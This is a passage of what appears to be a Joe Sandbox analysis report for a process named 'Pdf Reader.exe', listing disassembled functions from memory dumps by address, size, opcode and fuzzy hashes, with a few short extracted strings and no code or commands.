
Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ca10ecce278dfc0af1f8f150708f0d667fe4c59b3271a1bad7e9523a5864a97
Instruction ID: 1cd4f83a436cacd59f99297c366664e50487e3b1db7bfc64f78da2cbee0144d8
Opcode Fuzzy Hash: 0ca10ecce278dfc0af1f8f150708f0d667fe4c59b3271a1bad7e9523a5864a97
Instruction Fuzzy Hash: 21419B30B09B0D8FEB65EB68D4656BC77F1EF89380B4207B9D40DD71B1DE2569448740

Function 00007FFD9B7D25E0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71132eb5d729cddb07285a69a5df8ed767b2b1f255e40573a9e1a9a11337eaa4
Instruction ID: e06beffbef95006cf92bb00f239b4a4bf3caa0cbcdb12e4022a984ac698ecc0e
Opcode Fuzzy Hash: 71132eb5d729cddb07285a69a5df8ed767b2b1f255e40573a9e1a9a11337eaa4
Instruction Fuzzy Hash: 95418630A09B0E8FEBA5EB6894255BD77F1EF89340B4203B5D40DD72F1CE25A944C741

Function 00007FFD9B7D3F2E Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6528f3533469c5ca4c3d59baec582b92b8f49345813a5d4b798c9b5770b2481e
Instruction ID: bfaef6ba3cbc535930d8f7281571382a22c8f3963673449d2290cfae8211a95b
Opcode Fuzzy Hash: 6528f3533469c5ca4c3d59baec582b92b8f49345813a5d4b798c9b5770b2481e
Instruction Fuzzy Hash: D241FD30A0E78E4FEB52D7B884245A97FF1EF8A340B4606FAD449CB1B3CA295945C751

Function 00007FFD9B7D08A9 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c7805bfe4c17f69c92f05f46e2788c15b877fa4f0ca70f083f3ff964f092d69
Instruction ID: e7b75e3a8de6eff6648a11e8a05a98ee7517e49a27735a65f42ca716bcf08a47
Opcode Fuzzy Hash: 0c7805bfe4c17f69c92f05f46e2788c15b877fa4f0ca70f083f3ff964f092d69
Instruction Fuzzy Hash: D9311C62B0FBC90FE7569A7854751A57F60FF96680B0A03FBD088CB0F7D9196948C391

Function 00007FFD9B7D2899 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e1e9868533fd39e14cfeae52b14cb0b192d33fbccefea77b399a47dcba17b3
Instruction ID: 34d832cd01aee37767f9ac9256e0ac84e491ca55848e9cccefaf60a913c82240
Opcode Fuzzy Hash: 46e1e9868533fd39e14cfeae52b14cb0b192d33fbccefea77b399a47dcba17b3
Instruction Fuzzy Hash: E531A730A09B4D8FEB85EF78C424AA97BF1FF9A340B1145F5D019CB1B6CA3A9905C710

Function 00007FFD9B7D9260 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d9a915996517d5e3fef386073de769870a7a160881ce39855319873b213cb3
Instruction ID: 72b97e625ada63141186cecc3369692a45c9fafa2b1d7aa08eb1c0671e01f941
Opcode Fuzzy Hash: f7d9a915996517d5e3fef386073de769870a7a160881ce39855319873b213cb3
Instruction Fuzzy Hash: 1631D630E09B4E8FEB65DBA884255BD7BF0EF89340B4103B9D419C71F2CE29A945C750

Function 00007FFD9B7DDB91 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5337102dda66a2c5d9aa7688ce921a393cce4067a33ec472b1d28b29ba036a43
Instruction ID: ea07c26ba9faf9ea72c618de2984780f3dcca514e6a7cb56259076ae1882cbb9
Opcode Fuzzy Hash: 5337102dda66a2c5d9aa7688ce921a393cce4067a33ec472b1d28b29ba036a43
Instruction Fuzzy Hash: 8931E630A0974E8FEB85EF78C461AA63BF0EF4A344B0505F6D458CB1F6CA396944C7A1

Function 00007FFD9B7DFA95 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f43190a0f4dbb6b9c49b36df2f2c9c94bc644a06214ecc9fd237d5eabdfd332b
Instruction ID: 9135ef70b8674db052d2d4a3b1672ca9677655df3e586cba6551a91e1134070f
Opcode Fuzzy Hash: f43190a0f4dbb6b9c49b36df2f2c9c94bc644a06214ecc9fd237d5eabdfd332b
Instruction Fuzzy Hash: E921D32184E3D60FD7429B749C28AD67FF4DF87210B0A02EBE085CB0A3CA1D594AC761

Function 00007FFD9B7D3A26 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 065b852dcb9dc0c3e934374dea594726abc61a9719ab6b3b2f8e173535365f9c
Instruction ID: 006e88e00413cbd43819ca857a5e94587f5c8a18855b732f70febe9855540c55
Opcode Fuzzy Hash: 065b852dcb9dc0c3e934374dea594726abc61a9719ab6b3b2f8e173535365f9c
Instruction Fuzzy Hash: 8E21F761A1D78A0FE7499B7848345E5BFB1EF9A340F0601F9D058D71F2DD292805C720

Function 00007FFD9B7DDBB0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d632adf7e3d667ab06e78138104ad865e07e3a7d9fb66f599e2946ed909043
Instruction ID: 0bd15672dcd6fb4a264c87c7c1af8ec144dedcbbe44ff4f0bb14ff584610cd9f
Opcode Fuzzy Hash: 17d632adf7e3d667ab06e78138104ad865e07e3a7d9fb66f599e2946ed909043
Instruction Fuzzy Hash: 1921D430E08B4E8FEB85EF7884656AA7BF0EF4A344F4505E5D418CB1E6CE356944C791

Function 00007FFD9B7D0730 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ed2ae5f97d22482c7a0aef2a9e25091b7cdf65ac08f5427e3854d8fc2a1731
Instruction ID: 020beaf6dfffffa6aeea0fdff95ef4c145390d699bc44c98418b321a7b33d76f
Opcode Fuzzy Hash: 83ed2ae5f97d22482c7a0aef2a9e25091b7cdf65ac08f5427e3854d8fc2a1731
Instruction Fuzzy Hash: 36213867A0E6C54BD3116B686C751F53B60EF8135D70A43F6D09C4F1A7DD283A19C6D0

Function 00007FFD9B7DB485 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c320d092d7512d87aabeff6230ed31cff5acf09ab2073a19d05372d877c81ec6
Instruction ID: aa156218b17a08104c8b402c169f18dbda4a683b9b2173a89b85fafcb7b5b333
Opcode Fuzzy Hash: c320d092d7512d87aabeff6230ed31cff5acf09ab2073a19d05372d877c81ec6
Instruction Fuzzy Hash: DA112321F0AB4E0AE77096A448216FD36D0EFC9390F4203B6D51ECB2F2DD192A0D0681

Function 00007FFD9B7D0800 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd580feaceb1eba05fef229cd071eb1ed649c85760ca9ca4809cf6c0d509183
Instruction ID: de5ffa1b82174b078deb984a3bd566dba2de2bbfb11d0264d3434496b4d9f45b
Opcode Fuzzy Hash: 9cd580feaceb1eba05fef229cd071eb1ed649c85760ca9ca4809cf6c0d509183
Instruction Fuzzy Hash: FF11D317E0E6D50FD712A66828B55F93F20EF82258B0A82F7D0E84E0F79C086559C291

Function 00007FFD9B7D3B1D Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faeaf43b73ae120893ef4645970351397e8044f043e874329234ad3908957007
Instruction ID: 1fbd3bdcea0a2ff7a933d57bb1a56f27b73751a3b4ea12328c3281ab100cf5de
Opcode Fuzzy Hash: faeaf43b73ae120893ef4645970351397e8044f043e874329234ad3908957007
Instruction Fuzzy Hash: 9001F230A09B8D9FE755CB949858AB97BB0EF95240F0603F7E45DC61B2CA282A558350

Function 00007FFD9B7DB8EE Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17500f146ab40817306043c2aeec59bb8f05608e9496b91b6c31f0787c588e4c
Instruction ID: 6428c91112d51403fe858f4fef2b37851782e09bb78d0c3e8daadd295b3ad891
Opcode Fuzzy Hash: 17500f146ab40817306043c2aeec59bb8f05608e9496b91b6c31f0787c588e4c
Instruction Fuzzy Hash: 1F01D6359097CD8FE752DF6488595A8BFF0EF55240B0505EBD888C7172DA241A89C701

Function 00007FFD9B7D3BA8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2659d4a611680ebc0d464a39a53b1e7e5c9c8c61e080669209102bb40383a155
Instruction ID: 0235dc6dd5bbf17ee372db3fd7c7f926b489ac9db1d1c75fa3fce8d040bfb157
Opcode Fuzzy Hash: 2659d4a611680ebc0d464a39a53b1e7e5c9c8c61e080669209102bb40383a155
Instruction Fuzzy Hash: EDF0B430D18B4D4FEB01EFB884588DABFB0EF05204F5144F6D86CCB1A6DA395999C711

Function 00007FFD9B7D04D8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f53811a138f1a12abb0a29887ea777c308ecd110cd2af5a85f07f1c35cb4b30
Instruction ID: 82ffff1cd87dbdaed179d1c3752a6bd4c07a4c59e98cff70dc521af2b4299c47
Opcode Fuzzy Hash: 2f53811a138f1a12abb0a29887ea777c308ecd110cd2af5a85f07f1c35cb4b30
Instruction Fuzzy Hash: D3E0651BE0E2D65BD311EB6DA4B19D93760EFD225D71D41F3C0948D0A7EC08244A8651

Function 00007FFD9B7DBDED Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a39ce5b18ec3c5b017ae0d26c692c03d3e394f7678b425ac440a5ec76373868
Instruction ID: a12bd904b05a86132079591006adc108ffeb3925c23867e86343e56575179d6c
Opcode Fuzzy Hash: 3a39ce5b18ec3c5b017ae0d26c692c03d3e394f7678b425ac440a5ec76373868
Instruction Fuzzy Hash: DEE02B20F4580E0DEB54B7B4283ADFDB259EFC4204FC20579E02DC30DBCC1D25000281

Function 00007FFD9B7DDE6D Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e71815940ff7d59936da83cbbb814e1efce7f57d67fd918bf6a6363bbd7d16d
Instruction ID: 1471c026300de3ab04051eae6f6af97f7bcccf853b32742a990965164064f691
Opcode Fuzzy Hash: 8e71815940ff7d59936da83cbbb814e1efce7f57d67fd918bf6a6363bbd7d16d
Instruction Fuzzy Hash: DCE02B20F8591E0DEB14B7B0283ADFDB25AEFC4204FC21575E42DC20DBCC1D25000281

Function 00007FFD9B7D3EC5 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f82858c09a567bc54c6267dcc8937a29a840dc03e11e15fdfe4c675f3f3c10
Instruction ID: 38518e29a5d660bbaed07a269abf52f03a3c3d9b7c1fc93bc2222db2c280217a
Opcode Fuzzy Hash: e8f82858c09a567bc54c6267dcc8937a29a840dc03e11e15fdfe4c675f3f3c10
Instruction Fuzzy Hash: B3D05E32F0480C4E9F90EA9860656FDB7E1DF88211F400136D10CD2191CD1514424341

Function 00007FFD9B7DF3DD Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f2b31e32d433318471749c7f3f71379ce27ad0253aeb32e81fa1736fe34c40
Instruction ID: b6dd8725523e255ec2d0ca4d03c3b48eafa63fdacf3ef6f3164123cfe36b3f04
Opcode Fuzzy Hash: b3f2b31e32d433318471749c7f3f71379ce27ad0253aeb32e81fa1736fe34c40
Instruction Fuzzy Hash: B2D05E22B14C090B9388EABC486922532C3DF8A339B64C374A87DC32D9DE245C021312

Function 00007FFD9B7DBD3E Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34cd738d7bdf0eef737ab2762e118b6fd32efdc0bfe5510e07824c20a5da526
Instruction ID: 355b252e594e84a8188e345eec0dc18a62e5fb469eb988f561c802d26396f333
Opcode Fuzzy Hash: b34cd738d7bdf0eef737ab2762e118b6fd32efdc0bfe5510e07824c20a5da526
Instruction Fuzzy Hash: B2E0EC3252CB4D4BC354DF58E4518DAB7A0FF94324F800B2EF09E821A5DB6892458682

Function 00007FFD9B7DDDC7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5e40f4a0d4685a2176f70005f9ed7b02dcf3e291a492e493eedb7f5e99a3f7
Instruction ID: 06021920791697c5917d6a47d450cb9cec75c1de4a3d0e01b651cee7cd3f504b
Opcode Fuzzy Hash: bc5e40f4a0d4685a2176f70005f9ed7b02dcf3e291a492e493eedb7f5e99a3f7
Instruction Fuzzy Hash: F7D05B3140C70947C344DF04D4504DAB7A0FF84324F400B7DE0AED51E5EF6893858682

Function 00007FFD9B7D0FB6 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be275f827a5a0a820f66ea557f7df413be19772e67ade6ecccd9b46b44c33d3
Instruction ID: c43a51d3e202ce505dae410f191bef0a40d8617b9feceba1705dc45909f4f087
Opcode Fuzzy Hash: 1be275f827a5a0a820f66ea557f7df413be19772e67ade6ecccd9b46b44c33d3
Instruction Fuzzy Hash: DAC0123255C74D47D315A650F4619EEB360FFD1314F441B39E04B420A9ED5A6A59C682

Function 00007FFD9B7DB463 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2049903222.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17092e1639d2d2bcca5d323c15103d566b443ca3916fa81c36d54261a02aeee7
Instruction ID: c36ac2416307d05d3ad3745bbf165a3cc5f684de06be54dab8e78f8057844bfb
Opcode Fuzzy Hash: 17092e1639d2d2bcca5d323c15103d566b443ca3916fa81c36d54261a02aeee7
Instruction Fuzzy Hash: F6C0123351C70D47D701E750E851CEA7361FFD4258F440B39E04E510B9DD5967958582

Analysis Process: Pdf Reader.exePID: 7384, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B7D0F69 Relevance: 2.5, Strings: 1, Instructions: 1265COMMON

Download Yara Rule

Strings

)O_I, xrefs: 00007FFD9B7D16FE

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: )O_I
API String ID: 0-3046854138
Opcode ID: 4b408edf9b291d48c2aff7ffab86a8386c74300762a40721e0999698e07a4161
Instruction ID: 9665b5b93ad92ce0c3e39e2475dedc381ba67a165e153c1471d6640d35681367
Opcode Fuzzy Hash: 4b408edf9b291d48c2aff7ffab86a8386c74300762a40721e0999698e07a4161
Instruction Fuzzy Hash: C3A29010A0E7C96FD71793B818769DABFB0DF47240B1D8AEED0C99B1E7C858644AC352

Function 00007FFD9B7D7D56 Relevance: .5, Instructions: 547COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f4f647a09687982a73748e33d0be9a2b2d3d2a18b34cc39cb36100fbc2f979
Instruction ID: b0fe180d5d8781bb0eb1b2f4a994cf8c6efb51ef5fb66ba5cfa25ee7297c2d2d
Opcode Fuzzy Hash: 87f4f647a09687982a73748e33d0be9a2b2d3d2a18b34cc39cb36100fbc2f979
Instruction Fuzzy Hash: AC126130A09A4E8FEBB8DF68C855BE937D1FF94350F04437AD84DC72A5CA38A9458B41

Function 00007FFD9B7D8B02 Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2b21390411744ecb29729b66017b426775d018900e19b627a95c3d59f8d2ecb
Instruction ID: 44de64d59e252b9028f9c0f0b1560758ca1d7f54667283eb279ea7f171735aaa
Opcode Fuzzy Hash: a2b21390411744ecb29729b66017b426775d018900e19b627a95c3d59f8d2ecb
Instruction Fuzzy Hash: AC029330A09A4E8FEBB8DF68C855BE937D1FF94350F05437AD84DC72A1CA74A9458B81

Function 00007FFD9B7DA5C8 Relevance: 3.2, Strings: 2, Instructions: 665COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B7DAC2A
3, xrefs: 00007FFD9B7DA759

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID: 3$H
API String ID: 0-1350806239
Opcode ID: c14c082abddb92d60877f207254df5e74527524cd8a2fc0d906351b81b81aa99
Instruction ID: b5948b72c2a29ceadb8d540c968b05fc12c63b415c30c6df912bdaaab9b16b43
Opcode Fuzzy Hash: c14c082abddb92d60877f207254df5e74527524cd8a2fc0d906351b81b81aa99
Instruction Fuzzy Hash: D332373060E7CD4FD756DB788861AE97FA1FF86350F0846FCD0998B1A7CA28A44AC741

Function 00007FFD9B7D0465 Relevance: 2.9, Strings: 2, Instructions: 446COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B7D0772
<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: ce38f7bfdeee0747093b99b86e42bfdad86458700314c32723cdad0831e1f0b4
Instruction ID: f59930cdff89436b8c47dc1b3d0d2954dd5d4b5a9241340c371b817e6b7df7b9
Opcode Fuzzy Hash: ce38f7bfdeee0747093b99b86e42bfdad86458700314c32723cdad0831e1f0b4
Instruction Fuzzy Hash: C1D11857B0F6C50BE3216ABC68754E93F60DFC266970A43F7D0DD8A0F7AC08694AC291

Function 00007FFD9B7D04E8 Relevance: 2.9, Strings: 2, Instructions: 396COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B7D0772
<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 598c64f6db8eacd3dcb38a49da3ce704ed75ef6d4ee9ff2f87150420255b15cf
Instruction ID: c22bffbfdf14e6737b031cf826115160204ccd0f97e8bb952d49c6fae79508df
Opcode Fuzzy Hash: 598c64f6db8eacd3dcb38a49da3ce704ed75ef6d4ee9ff2f87150420255b15cf
Instruction Fuzzy Hash: 42C13857F0F6C50BE325AABC28750E93F60EFC26A970943F7D0DD4A0F7AC04694A8295

Function 00007FFD9B7D0530 Relevance: 2.9, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B7D0772
<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 4008379f4fea475fac1edccbce7f8a69b3f5c636a9ad48d027ee1bf5a77ea09e
Instruction ID: 7acc9546e45561a0b9a1ce58f6ad69558b7f3a2f71eb3bb08be14144ecf7fc68
Opcode Fuzzy Hash: 4008379f4fea475fac1edccbce7f8a69b3f5c636a9ad48d027ee1bf5a77ea09e
Instruction Fuzzy Hash: D1B10757A0F6C50BE3256ABC28354F93F60EFC26A970953F7D0DD4A0F7AC08694AC295

Function 00007FFD9B7D06FA Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B7D0772
<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: da95c3c30963c77b4aba7ad31770fccd62bf1cd3f40fc21167af20d0d27a7449
Instruction ID: 2e2458440a22a573f7294847c96e590a70cc7b07b03aa8663c6f7117124d75d8
Opcode Fuzzy Hash: da95c3c30963c77b4aba7ad31770fccd62bf1cd3f40fc21167af20d0d27a7449
Instruction Fuzzy Hash: 53514A67E0F2D50BD711B76868750E93F60EF8166D70E83F2D0AD4E0A3EC08254EC685

Function 00007FFD9B7D06D3 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B7D0772
<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 0de95181dfabb1085be80bfe5e8e371d9291dd46e1ad0d9491d042b7a95a4d6b
Instruction ID: 1f059a9db26185ae6d32f6a0b302f03f00a320cf1d87030ac3dde08168afedea
